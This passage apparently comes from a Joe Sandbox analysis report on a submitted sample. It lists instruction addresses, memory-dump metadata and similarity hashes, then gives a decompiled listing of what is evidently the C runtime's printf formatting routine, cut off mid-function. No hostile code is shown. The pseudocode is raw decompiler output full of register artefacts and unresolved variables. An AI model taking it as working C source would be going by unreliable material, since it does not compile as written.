0x004347f8
0x004347fb
0x004347fe
0x00434802
0x00000000
0x00434802
0x00000000
0x004347fe
0x0043479b
0x0043479b
0x0043479e
0x004347a2
0x004347a5
0x00000000
0x004347a7
0x004347aa
0x004347ad
0x004347b0
0x004347b3
0x004347b9
0x00000000
0x004347b9
0x004347a5
0x0043476a
0x0043476a
0x0043476d
0x00434771
0x00434774
0x00000000
0x00434776
0x00434779
0x0043477c
0x0043477f
0x00434782
0x00434788
0x00000000
0x00434788
0x00000000
0x00434813
0x00434816
0x00434819
0x00000000
0x00000000
0x00434730
0x00434730
0x00434733
0x00434736
0x00434739
0x00434751
0x00434754
0x00434754
0x00434757
0x0043473b
0x0043473e
0x00434741
0x00434747
0x0043474c
0x0043474c
0x00000000
0x00000000
0x0043481e
0x0043481e
0x00434821
0x00434821
0x00434826
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043482e
0x0043482e
0x00434835
0x00434841
0x00434844
0x0043484a
0x00434851
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00435072
0x00434857
0x0043485d
0x0043485d
0x00434864
0x00000000
0x00434bbe
0x00434bbe
0x00434bc5
0x00434bcc
0x00434bcc
0x00434bcf
0x00000000
0x00000000
0x0043486b
0x0043486e
0x0043486e
0x00434874
0x00434876
0x00434879
0x00434879
0x0043487e
0x0043487e
0x00000000
0x00000000
0x004349ab
0x004349ae
0x004349ae
0x004349b3
0x004349b5
0x004349b8
0x004349b8
0x004349be
0x004349be
0x00000000
0x00000000
0x00434d8b
0x00434d8b
0x00000000
0x00000000
0x00434915
0x00434915
0x00434921
0x00434927
0x0043492e
0x0043493c
0x0043493c
0x00434942
0x00434945
0x00434951
0x004349a6
0x00000000
0x004349a6
0x00434930
0x00434930
0x00434936
0x0043493a
0x00434956
0x00434959
0x00434959
0x0043495f
0x00434987
0x0043498e
0x00434994
0x00434997
0x0043499a
0x004349a0
0x004349a3
0x00434961
0x00434961
0x00434967
0x0043496a
0x0043496d
0x00434973
0x00434976
0x00434979
0x0043497b
0x0043497e
0x0043497e
0x00000000
0x0043495f
0x00000000
0x00000000
0x00434bd5
0x00434bd8
0x00434bdb
0x00434bde
0x00434be4
0x00434be7
0x00434bee
0x00434bf2
0x00434bfd
0x00434bfd
0x00434c01
0x00434c18
0x00434c18
0x00434c1f
0x00434c21
0x00434c21
0x00434c28
0x00434c28
0x00434c2f
0x00434c40
0x00434c4f
0x00434c52
0x00434c56
0x00434c6c
0x00434c58
0x00434c58
0x00434c5b
0x00434c61
0x00434c67
0x00434c67
0x00434c56
0x00434c76
0x00434c79
0x00434c7c
0x00434c7f
0x00434c82
0x00434c85
0x00434c8b
0x00434c91
0x00434c99
0x00434c9a
0x00434c9d
0x00434c9e
0x00434ca1
0x00434ca2
0x00434ca9
0x00434caa
0x00434cad
0x00434cae
0x00434cb1
0x00434cb2
0x00434cb8
0x00434cb9
0x00434cc7
0x00434cc9
0x00434ccf
0x00434ccf
0x00434cd5
0x00434cd7
0x00434cdb
0x00434cdd
0x00434ce5
0x00434ce6
0x00434ce9
0x00434cea
0x00434cf8
0x00434cfa
0x00434cfa
0x00434cdb
0x00434cfd
0x00434d04
0x00434d07
0x00434d0c
0x00434d0c
0x00434d12
0x00434d14
0x00434d1c
0x00434d1d
0x00434d20
0x00434d21
0x00434d30
0x00434d32
0x00434d32
0x00434d12
0x00434d35
0x00434d38
0x00434d3b
0x00434d3e
0x00434d43
0x00434d49
0x00434d4c
0x00434d4f
0x00434d4f
0x00434d52
0x00434d52
0x00434d55
0x00434d61
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00000000
0x00435072
0x00434c03
0x00434c03
0x00434c0a
0x00434c0d
0x00000000
0x00000000
0x00434c0f
0x00434c0f
0x00000000
0x00434c0f
0x00434bf4
0x00434bf4
0x00000000
0x00000000
0x00434881
0x00434884
0x00434884
0x0043488a
0x004348e5
0x004348ed
0x004348f4
0x004348fa
0x00434900
0x0043488c
0x0043488c
0x00434896
0x0043489a
0x004348a2
0x004348a9
0x004348b6
0x004348bd
0x004348c9
0x004348cf
0x004348d6
0x004348d8
0x004348d8
0x004348df
0x00434907
0x0043490d
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00000000
0x00434d69
0x00434d6c
0x00434d6f
0x00434d72
0x00434dea
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434eaa
0x00434eaf
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8f
0x00434e94
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e69
0x00434e6e
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e4d
0x00434e52
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e20
0x00434e25
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df8
0x00434dfd
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00000000
0x00434ac7
0x00434ac7
0x00434ad3
0x00434ad9
0x00434ade
0x00434ae0
0x00434b8a
0x00434b8d
0x00434b8d
0x00434b90
0x00434ba4
0x00434baa
0x00434bb0
0x00434b92
0x00434b92
0x00434b9f
0x00434b9f
0x00434bb2
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00435072
0x00434ae6
0x00434ae6
0x00434ae6
0x00434ae8
0x00434af6
0x00434aea
0x00434aea
0x00434aea
0x00434b00
0x00434b06
0x00434b0c
0x00434b13
0x00434b15
0x00434b1a
0x00434b1c
0x00434b21
0x00434b26
0x00434b28
0x00434b2d
0x00434b30
0x00434b33
0x00434b35
0x00434b35
0x00434b33
0x00434b36
0x00434b3d
0x00434b85
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00434b3f
0x00434b3f
0x00434b44
0x00434b60
0x00434b68
0x00434b72
0x00434b75
0x00434b7a
0x00000000
0x00434b7a
0x00000000
0x00000000
0x00000000
0x00434d84
0x00434d84
0x00000000
0x00000000
0x004349c1
0x004349c1
0x004349c5
0x004349d3
0x004349d6
0x004349c7
0x004349c7
0x004349c7
0x004349dc
0x004349e2
0x004349e8
0x004349f4
0x004349fa
0x004349fa
0x00434a00
0x00434a67
0x00434a67
0x00434a6b
0x00434a6d
0x00434a73
0x00434a73
0x00434a76
0x00434a79
0x00434a7f
0x00434a7f
0x00434a7f
0x00434a8b
0x00434a8e
0x00434a94
0x00434a96
0x00000000
0x00000000
0x00434a98
0x00434a98
0x00434a9e
0x00434aa1
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aab
0x00434aae
0x00434aae
0x00434ab6
0x00434ab6
0x00434abc
0x00434abc
0x00434abf
0x00000000
0x00434a02
0x00434a02
0x00434a02
0x00434a06
0x00434a08
0x00434a0d
0x00434a0d
0x00434a10
0x00434a17
0x00434a1a
0x00434a20
0x00434a20
0x00434a20
0x00434a2c
0x00434a2f
0x00434a35
0x00434a37
0x00000000
0x00000000
0x00434a39
0x00434a39
0x00434a3f
0x00434a42
0x00434a44
0x00000000
0x00000000
0x00434a46
0x00434a4c
0x00434a4f
0x00434a4f
0x00434a57
0x00434a5d
0x00434a60
0x00434a62
0x00434ac2
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00435072
0x00000000
0x00434d7b
0x00434d7b
0x00434dea
0x00434dea
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434eaa
0x00434eaf
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8f
0x00434e94
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e69
0x00434e6e
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e4d
0x00434e52
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e20
0x00434e25
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df8
0x00434dfd
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00000000
0x00434ec6
0x00000000
0x00434d97
0x00434d97
0x00434da1
0x00434da1
0x00434dab
0x00434dab
0x00434db1
0x00434db3
0x00434dbd
0x00434dbd
0x00434dc0
0x00434dc3
0x00434dc3
0x00434dea
0x00434dea
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434eaa
0x00434eaf
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8f
0x00434e94
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e69
0x00434e6e
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e4d
0x00434e52
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e20
0x00434e25
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df8
0x00434dfd
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00000000
0x00434ec6
0x00000000
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00000000
0x00000000
0x00434631
0x00434634
0x00434637
0x00000000
0x00000000
0x0043463c
0x0043463f
0x00434644
0x00000000
0x00000000
0x00434626
0x00434626
0x00434629
0x0043462c
0x00000000
0x00000000
0x0043461b
0x0043461e
0x00434621
0x00000000
0x00000000
0x00434649
0x00434649
0x0043464c
0x0043464c
0x0043464f
0x00000000
0x00000000
0x00434652
0x00000000
0x00000000
0x004343ee
0x004343f0
0x004343fe
0x004343f2
0x004343f2
0x004343f2
0x00434408
0x0043440e
0x0043441b
0x0043441d
0x00434422
0x00434424
0x00434429
0x0043442e
0x00434430
0x00434435
0x0043443b
0x0043443d
0x0043443d
0x0043443b
0x0043443e
0x00434445
0x00000000
0x00434447
0x0043444c
0x00434468
0x00434470
0x0043447d
0x00434482
0x00435341
0x0043534e
0x0043534e
0x00434445
0x004343e8
0x0043527d
0x0043527d
0x00435284
0x0043529b
0x0043529b
0x004352a5
0x004352a5
0x004352ab
0x004352b1
0x004352b8
0x004352ba
0x004352bf
0x004352c1
0x004352c6
0x004352cb
0x004352cd
0x004352d2
0x004352d5
0x004352d8
0x004352da
0x004352da
0x004352d8
0x004352db
0x004352e2
0x0043532d
0x00435336
0x0043533b
0x004352e4
0x004352e9
0x00435305
0x0043530d
0x0043531a
0x0043531f
0x0043531f
0x00000000
0x004352e2
0x00435286
0x00435286
0x0043528d
0x00000000
0x00000000
0x0043528f
0x0043528f
0x00000000
0x0043528f
0x00435072
0x00435049
0x00435049
0x0043504d
0x0043505a
0x00435060
0x00435066
0x0043506c
0x0043506c
0x0043506f
0x00000000
0x0043506f
0x0043504f
0x00435055
0x00435058
0x00000000
0x00000000
0x00000000
0x00435058
0x00434fb1
0x00434fb4
0x00434fbe
0x00434fcd
0x00434fd6
0x00434fec
0x00434ff2
0x00434ff8
0x00434fff
0x00435007
0x00435007
0x0043500d
0x0043500d
0x0043501c
0x00435024
0x00434f93
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa1
0x00000000
0x00000000
0x00000000
0x00434fa1
0x00434f93
0x00434ed3
0x00434ed3
0x00434eda
0x00000000
0x00000000
0x00000000
0x00434f08
0x00434f0e
0x00434f1a
0x00000000
0x00434f1a
0x00434dea

APIs

_get_int64_arg.LIBCMTD ref: 00434DF8
__aullrem.LIBCMT ref: 00434FC5
__aulldiv.LIBCMT ref: 00434FE7

Strings

9, xrefs: 00434FF8

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction ID: c67c28d7a8b38b6d916eed0708d51d043ad178487337f4f426d5f1a7cfb0202e
Opcode Fuzzy Hash: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction Fuzzy Hash: 1C41D271D01629DFEB24CF58DC89BEEB7B5BB89304F14919AE019A7244D738AE80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004279FD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E004279FD() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E00428150(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E00428150(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E00428150(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E00428150(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428170(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428170(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E00428080(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E004280C0( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E00428080(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E004280C0( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E00434010(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E004280C0( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E00428080(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C1C0( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404430) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404450) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M00427ED8))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E00431000( *(_t668 - 0x251) & 0x000000ff, E0041AAD0(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00427FE0( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00427FE0( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E000();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422AF0(_t584))) = 0x16;
																E00422880(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041AAA0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x427f10; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00427EF8))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x427f38; // 0x77ef9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00427F24))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
